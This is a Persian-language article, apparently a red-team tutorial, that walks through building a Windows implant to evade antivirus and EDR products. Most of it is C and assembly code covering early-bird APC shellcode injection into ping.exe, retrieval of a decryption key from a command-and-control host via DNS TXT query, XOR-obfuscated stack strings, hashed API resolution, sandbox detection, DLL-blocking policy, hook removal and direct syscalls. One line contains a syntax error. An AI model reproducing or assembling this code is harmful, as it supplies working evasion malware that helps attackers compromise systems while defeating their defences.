Bypassing AV/EDR
مقاله
  • ۳۰ بهمن ۱۴۰۲
  • Learning Road Map
  • ۱۱ دقیقه خواندن

Bypassing AV/EDR

درحالی که حوادث باج‌افزارها و گروه‌های دولتی هر روز بیشتر می‌شود، نیاز به درک و تشخیص حملات این گروه‌ها و جلوگیری از آن‌ها نیز بیشتر می‌شود. یکی از راه‌های تشخیص و جلوگیری از حوادث، شبیه‌سازی این گروه‌های پیشرفته است. در فرایند شبیه‌سازی، بدافزار‌ها نقش مهمی را ایفا می‌کنند و با بهترشدن راهکارهای امنیتی در تشخیص بدافزارها، روش‌های جدیدی برای دورزدن آن‌ها نیاز است. در این مقاله برخی از این روش‌ها را بررسی می‌کنیم.

Implant Skeleton

گام اول را با نوشتن یک بدافزار ساده که یک payload را در یک پروسس دلخواه (در این مثال در ping) با تکنیک early bird تزریق می‎‌کند، شروع می کنیم و در این مسیر به بهبود آن می‌پردازیم. (اگر این اصطلاحات برایتان ناآشنا است و نیاز به آشنایی با این آن‌ها دارید، پیشنهاد می‌شود مقاله‌ی DLL Injection را مطالعه کنید.)

unsigned char shellcode[] = {

  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,

  . . .

};

BOOL Spawn(LPCWSTR path, HANDLE *hProc, HANDLE *hThread) {

       STARTUPINFO si;

       PROCESS_INFORMATION pi;

       ZeroMemory(&si, sizeof(si));

       si.cb = sizeof(si);

       ZeroMemory(&pi, sizeof(pi));

       if (!CreateProcess(NULL, path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {

              return FALSE;

       }

WaitForSingleObject(pi.hProcess, 2000);

       *hThread = pi.hThread;

       *hProc = pi.hProcess;

       return TRUE;

}

BOOL Inject(HANDLE hProc, HANDLE hThread, char* payload, size_t len) {

       size_t bytesWritten;

       LPVOID baseAddress = VirtualAllocEx(hProc, NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

       if (baseAddress == NULL) {

              return FALSE;

       }

       if (!WriteProcessMemory(hProc, baseAddress, payload, len, &bytesWritten)) {

              return FALSE;

       }

       QueueUserAPC((PAPCFUNC)baseAddress, hThread, NULL);

       if (ResumeThread(hThread) == -1) {

              return FALSE;

       }

       CloseHandle(hProc);

       CloseHandle(hThread);

}

void main()

{

       HANDLE hProc, hThread;

       LPCWSTR path = TEXT("C:Windowssystem32ping.exe");

       Spawn(path, &hProc, &hThread);

       Inject(hProc, hThread, (char*)shellcode, sizeof(shellcode));

}

در ابتدا پروسس ping را در حالت suspended اجرا می‌کنیم و سپس payload خود را در پروسس موردنظر تزریق کرده و thread پروسس را resume می‌کنیم. این تکنیک ساده محصولات امنیتی معروفی مثل ESET, BitDefender, Malwarebytes, McAfee و ... را دور می‌زند. Figure 1 - AV Detection

Figure 1 - AV Detection

Payload Encryption

مشکل اول این است که payload ما به راحتی قابل تشخیص و استخراج است. محصولات امنیتی با استفاده از signature می‌توانند وجود shellcode را تشخیص دهند و تحلیلگران بدافزار هم می‌توانند به راحتی با دنبال‌کردن پارامترهای Stage ، WriteProcessMemory بعدی حمله را استخراج کنند.

Figure 2 - WriteProcessMemory parameter and next stage payload

Getting Key through DNS

برای جلوگیری از تشخیص و استخراج stage بعدی توسط تیم آبی، payload را با Encrypt ، RC4 می‌کنیم (شما می‌توانید الگوریتم موردنظر خود را انتخاب کنید.) و در زمان اجرا (Run-Time) آن را Decrypt می‌کنیم. اگر کلید را درون باینری قرار بدهیم، کار تحلیلگر بدافزار چندان فرقی نمی‌کند و می‌تواند با استفاده از همان کلید payload را Decrypt کند. برای جلوگیری از این کار، کلید موردنظر را با استفاده از DNS از C&C می‌گیریم. مزیت این کار این است که اگر عملیات ما از این مرحله عبور کرده بود، می‌توانیم C&C مخصوص این کار را از دسترس خارج کنیم و تیم آبی به هیچ‌وجه نمی‌تواند stage بعدی را استخراج کند. با استفاده از تابع DnsQuery ، یک Query به C&C خود می‌زنیم و رکورد TXT را درخواست می‌کنیم. DnsQuery اطلاعات دریافت شده را در پارامتر پنجم (در اینجا TxtResult) قرار می‌دهد.

char* GetKey(void) {

       PDNS_RECORD TxtResult;

       DNS_STATUS status = DnsQuery_A("attacker.com", DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &TxtResult, NULL);

       if (status != 0) {

              return 0;

       }

              char* key = TxtResult->Data.TXT.pStringArray[0];

              return key;

}

Figure 3 - Get Key from C&C

Payload Decryption at Run-Time

با استفاده از کلید بدست آمده، payload را با استفاده از توابع export شده توسط Decrypt ، Advapi32 می‌کنیم.

int RC4Decrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {

       HCRYPTPROV hProv;

       HCRYPTHASH hHash;

       HCRYPTKEY hKey;

       if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {

              return -1;

       }

       if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {

              return -1;

       }

       if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {

              return -1;

       }

       if (!CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {

              return -1;

       }

       if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {

              return -1;

       }

       CryptReleaseContext(hProv, 0);

       CryptDestroyHash(hHash);

       CryptDestroyKey(hKey);

       return 0;

}

Figure 4 - AES Decryption Function

String Encryption And Wiping From Memory

مشکل بعدی این است که stringهای برنامه به راحتی قابل دیدن هستند و گزینه‌ی خوبی برای نوشتن signature. همچنین تحلیلگر بدافزار به راحتی می‌تواند ادرس C&C را استخراج کند. Figure 6 - Plain Strings in Binary

Figure 5 - Plain Strings in Binary

راه‌حل این مشکل استفاده از Stack String است. یعنی به جای اینکه Stringها را به طور معمولی در کد بنویسیم، کاراکترها را مثل چند ظرف که روی‌هم گذاشته شده‌اند، می‌چینیم. همچنین Stringهای برنامه را با استفاده از Encrypt ، XOR می‌کنیم و در زمان نیاز به String آن را Decrypt می‌کنیم. بعد از استفاده از هر String، آن را از مموری wipe می‌کنیم.

       char dns_server[] = {54, 35, 35, 54, 52, 60, 50, 37, 121, 52, 56, 58, 0};

       for (size_t i = 0; i < strlen(dns_server); i++) {

              dns_server[i]= dns_server[i] ^ XOR_KEY;

       }

       DNS_STATUS status = DnsQuery_A(dns_server, DNS_TYPE_TEXT, DNS_QUERY_STANDARD, NULL, &Txt, NULL);

       size_t dns_server_len = strlen(dns_server);

       for (size_t i = 0; i < dns_server_len; i++) {

              dns_server[i] = 0;

       }

Figure 6 - stack string + xor encryption

Figure 8 - stack string in binary

Figure 7 - stack string in binary

Dynamic API resolution through hashing

APIهایی که بدافزار استفاده می‌کند در Import Address Table باینری وجود دارند و محصولات امنیتی و تحلیل‌گران بدافزار می‌توانند برای تشخیص بدافزار و کشف قابلیت‌های بدافزار از آن استفاده کنند. Figure 9 - suspicious APIs

Figure 8 - suspicious APIs

هر پروسس در ویندوز با ساختار EPROCESS نمایش داده می‌شود و در هر EPROCESS، یک Data Structure حاوی اطلاعات درباره پروسس جاری وجود دارد. با استفاده از این data structure می‌توانیم APIهای موردنیاز را در زمان اجرا (Run-Time) Resolve کنیم.

unsigned __int64 WINAPI FindDll(LPCWSTR sModuleName) {

       PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);

       PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;

       LIST_ENTRY* ModuleList = NULL;

       ModuleList = &Ldr->InMemoryOrderModuleList;

       LIST_ENTRY* pStartListEntry = ModuleList->Flink;

       for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {

              LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));

              if (lstrcmpiW(pEntry->BaseDllName.Buffer, sModuleName) == 0)

                      return (unsigned __int64)pEntry->DllBase;

       }

       return NULL;

}

Figure 9 - Find DLL with help of PEB

حالا که ما ادرس DLL موردنظر در مموری را می‌دانیم، با parseکردن آن، APIهایی که می‌خواهیم را resolve می‌کنیم. برای این کار به ترتیب زیر عمل می‌کنیم: - پیداکردن export table - پیداکردن index تابعی که می‌خواهیم resolve کنیم. - گرفتن آدرس و اسم تابع با استفاده از ایندکس - محاسبه‌ی هش و returnکردن آدرس تابع درصورت صحیح‌بودن هش اسم تابع و هش داده‌شده.

unsigned __int64 FindExport(unsigned __int64 dll_base, int func_hash)

{

       PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base;

       PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew);

       DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

       PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset);

       DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames);

       WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals);

       DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions);

       for (size_t i = 0; i < exportTable->NumberOfNames; ++i) {

              char* funcName = (char*)(dll_base + name_table[i]);

              unsigned __int64 func_ptr = dll_base + func_table[ordinal_table[i]];

              if (calc_hash(funcName) == func_hash) {

                      return func_ptr;

              }

       }

       return NULL;

}

Figure 10 - Resolving APIs by parsing PE File

در این جا NtWriteVirtualMemory و NtQueueApcThread را با استفاده از Resolve ،hash می‌کنیم. Figure 12 - Dynamically Resolve API with hash

Figure 11 - Dynamically Resolve API with hash

Sandbox Detection and Avoidance

باینری ما بدون هیچ مشکلی در سندباکس اجرا می‌شود و تیم‌های آبی می‌توانند گزارش اولیه‌ی خوبی با استفاده از سندباکس‌ها درباره باینری به‌دست بیاورند. برای جلوگیری از اجراشدن باینری در سندباکس‌ها، تعداد processor، مقدار رم و اندازه دیسک را چک می‌کنیم و درصورت کمتربودن آن‌ها از یک سیستم معمولی، پروسس را terminate می‌کنیم.

CPU Check

تابع GetSystemInfo، اطلاعاتی را درباره‌ی معماری سیستم برمی‌گرداند. یکی از این اطلاعات تعداد Processorهای سیستم است. در اینجا فرض می‌کنیم اگر تعداد Processorها کمتر از دوتا باشد، بدافزار در محیط سندباکس اجرا می‌شود.

BOOL cpu_check(void) {

SYSTEM_INFO systemInfo;

GetSystemInfo(&systemInfo);

unsigned int NumOfProcessors = systemInfo.dwNumberOfProcessors;

if (NumOfProcessors < 2) return true;

else return false;

}

Figure 12 - check number of processors

RAM Check

مثل تابع GlobalMemoryStatusEx، GetSystemInfo اطلاعاتی را درباره‌ی وضعیت مموری سیستم به ما می‌دهد. در اینجا اگر میزان رم از  ۲ گیگ کمتر باشد، نشان‌دهنده‌ی اجراشدن بدافزار در سندباکس است.

BOOL ram_check(void) {

       MEMORYSTATUSEX MemoryStatus;

       MemoryStatus.dwLength = sizeof(MemoryStatus);

       GlobalMemoryStatusEx(&MemoryStatus);

       unsigned int RamMb = MemoryStatus.ullTotalPhys / 1024 / 1024;

       if (RamMb < 2048) return true;

       else return false;

}

Figure 13 - check available ram

Disk Space Check

در ابتدا با استفاده از CreateFile یک Handle به Disk می‌گیریم و بعد با فرستادن IOCTL زیر اطلاعات موردنیاز برای محاسبه‌ی میزان فضای هارد را به‌دست می‌آوریم. در این مثال اگر فضای هارد کمتر از ۱۰۰ گیگ باشد، به معنی اجرا شدن بدافزار در سندباکس است.

BOOL disk_check(void) {

char RawDev[] = {11,11,121,11,7,63,46,36,62,52,54,59,19,37,62,33,50,103,0};

       for (size_t i = 0; i < strlen(RawDev); i++) {

              RawDev[i] = RawDev[i] ^ XOR_KEY;

       }

       HANDLE hDevice = CreateFile(RawDev, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

       size_t RawDev_len = strlen(strlen(RawDev);

       for (size_t i = 0; i < RawDev_len; i++) {

              RawDev[i] = 0;

       }

       DISK_GEOMETRY DiskGeometry;

       DWORD BytesReturned;

       DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &BytesReturned, (LPOVERLAPPED)NULL);

       unsigned int DiskSizeGb = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;

       if (DiskSizeGb < 100) return true;

       else return false;

}

Figure 14 - check available Disk Space

Time Check

بدافزار ما بعد از تمام شدن عملیات هم اجرا می‌شود. برای جلوگیری از این امر، اجرا شدن بدافزار را با توجه به تاریخ تمام‌شدن عملیات محدود می‌کنیم. با استفاده از تابع GetSystemTime تاریخ جاری سیستم را به‌دست می‌آوریم و بعد از آن با با استفاده از ماه و سال، محدوده‌ی زمانی اجرای بدافزار را محدود می‌کنیم.

unsigned int time_check() {

       SYSTEMTIME ct;

       GetSystemTime(&ct);

       if ((ct.wYear == 2021 && ct.wMonth <= 12) && (ct.wYear == 2021 && ct.wMonth >= 10)) {

              return FALSE;

       }

       else {

              return TRUE;

       }

}

Mutex Check

نکته‌ی مهم دیگر، جلوگیری از اجرا شدن همزمان بدافزار است. یعنی وقتی یک Instance در حال اجرا است، Instance دیگری اجرا نشود. با استفاده از Mutex می‌توانیم این کار را انجام دهیم.

unsigned int mutex_check(const char* name) {

       HANDLE mutex = NULL;

       HANDLE error = NULL;

       mutex = CreateMutex(NULL, TRUE, name);

       if (mutex == NULL) {

              return FALSE;

       }

       else {

              error = (HANDLE)GetLastError();

              if (error == (HANDLE)ERROR_ALREADY_EXISTS) {

                      return TRUE;

              }

              else {

                      return FALSE;

              }

       }

}

Preventing DLL Injection

یکی از راه‌هایی که محصولات امنیتی باینری‌ها را به وسیله‌ی آن بررسی می‌کنند، تزریق‌کردن DLL خود به باینری تازه ایجاد شده و hookکردن APIهای مشکوک است. ما می‌توانیم از loadشدن DLLهایی که توسط مایکروسافت Sign نشده اند، جلوگیری کنیم.

       si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

       si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

       InitializeProcThreadAttributeList(NULL, 1, 0, &size);

       si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(

              GetProcessHeap(),

              0,

              size

       );

       InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

       DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

       UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);

Figure 15 - Block non Microsoft signed DLLs

Figure 17 - Block non Microsoft Signed DLLs in action

Figure 16 - Block non Microsoft Signed DLLs in action

API Unhooking

در صورتی که DLL توسط مایکروسافت Sign شده باشد، در پروسس ما تزریق می‌شود و می‌تواند APIهایی که مشکوک هستند را hook و بررسی کند. Figure 18 - Hooked CreateRemoteThreadEx

Figure 17 - Hooked CreateRemoteThreadEx

معمولا برای hook کردن یک تابع، پنج بایت اول آن با یک jmp/call عوض می شود و بعد از آن EDR/AV می تواند پارامترهای API را بررسی کند. برای unhook کردن تابع، پنج بایت اول آن را با پنج بایت در شرایط عادی (hook نشده)، عوض می کنیم. Figure 19 - Unhook NtWriteVirtualMemory and then call it

Figure 18 - Unhook NtWriteVirtualMemory and then call it

Direct Syscall and Improvements

راه‌حل دیگر استفاده‌ی مستقیم از syscall مربوط به API است. توضیح چگونگی عملکرد این تکنیک از حوصله‌ی این مقاله خارج است؛ ولی اگر علاقه دارید بیشتر در این‌باره اطلاعات کسب کنید، پیشنهاد می‌شود این مقاله را مطالعه کنید. کافی است به پروژه یک فایل asm اضافه کرده و آن را به Build اضافه کنیم؛ همچنین نیاز داریم prototype تابع که قرار است فراخوانی شود را هم به پروژه اضافه کنیم.

.code

       NtQueueApcThread PROC

       mov r10, rcx

       mov eax, 45h

       syscall

       ret

       NtQueueApcThread ENDP

end

Figure 19 - syscall.asm content

EXTERN_C NTSTATUS (NTAPI NtQueueApcThread)(

       HANDLE ThreadHandle,

       PIO_APC_ROUTINE ApcRoutine,

       PVOID ApcRoutineContext,

       PIO_STATUS_BLOCK ApcStatusBlock,

       ULONG ApcReserved);

Figure 20 - NtQueueApcThread Prototype

Security Solution Result

References

Hiding Windows API Safer Shellcode Implant Silencing Cylance

ارتباط با نویسنده‌ی مقاله: علی طباطبایی